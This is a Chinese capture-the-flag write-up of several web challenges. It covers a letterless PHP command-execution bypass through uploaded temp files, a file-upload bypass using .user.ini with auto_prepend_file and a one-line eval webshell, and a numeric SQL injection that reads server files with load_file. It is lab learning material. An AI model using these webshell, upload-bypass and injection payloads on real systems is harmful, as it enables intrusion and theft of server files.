红包题第二弹
看到源码里面的提示
?cmd=phpinfo();
看到源码
kk
关键点就是有两个正则表达式
第一个
preg_match("/[A-Za-oq-z0-9$]+/",$cmd)
第二个
preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)
从第一个发现小写字母p没有被过滤掉,同时也是做了许多的过滤
是无字母数字RCE,并且不能用取反,异或,自增去绕过
因为过滤了~
和^
,异或和取反都不用考虑了
其他师傅的做法
利用上传的临时文件去命令执行getshell
基本思路就是上传?,然后利用eval($cmd)
去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?
,构造./??p/p?p??????
就能读到这个文件。
点就相当于source
用来执行文件。source /home/user/bash 等同于 . /home/user/bash
问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
临时文件目录
php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。
规则
默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
linux下:phpXXXXXX。
后面的就有点整不懂了
先放一放
web13
文件上传的窗口
先上传php文件看,出现报错
访问upload.php
是不是备份文件,这个备份文件是系统自己产生的
加上.bak,
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
拓展名只能读取一个,且不能为php,文件的大小要小于24字节,不能有php
先传入.user.ini,进行写入
auto_prepend_file=1.txt
也就是后面传入的文件会以php的形式打开
传入1.txt
<?= @eval($_POST[1]);?>
连接显示返回数据为空
j检查一下,是已经上传成功的
glob() 函数返回匹配指定模式的文件名或目录
用函数看看目录下有什么文件
?a=print_r(scandir('.'));
或者
/?a=print_r(glob("*"));
尝试读取
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
获取flag
web14
源代码直接显示
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
先可以尝试一下get
当我们输入c=3
刚开始的时候没有觉得什么奇怪的,后来想会不会是后面的文件路径
加上试一下
看到新的登录框
在尝试一下admin的时候,发现URL里面出现一个新的参数query=admin
query=1和2还有3有回显加上字符就没有了,应该就是数字型注入了,并且过滤掉空格
刚刚里面出现过一文件secret.php
在index.php中包含了一个secret.php,先读这个文件试试
load_file函数可以轻松读取本地文件的全部或部分内容
eg:load_file('/home/user/test.txt');
?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")#
可以看到flag实际上是在:/real_flag_is_here,所以读这个文件
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')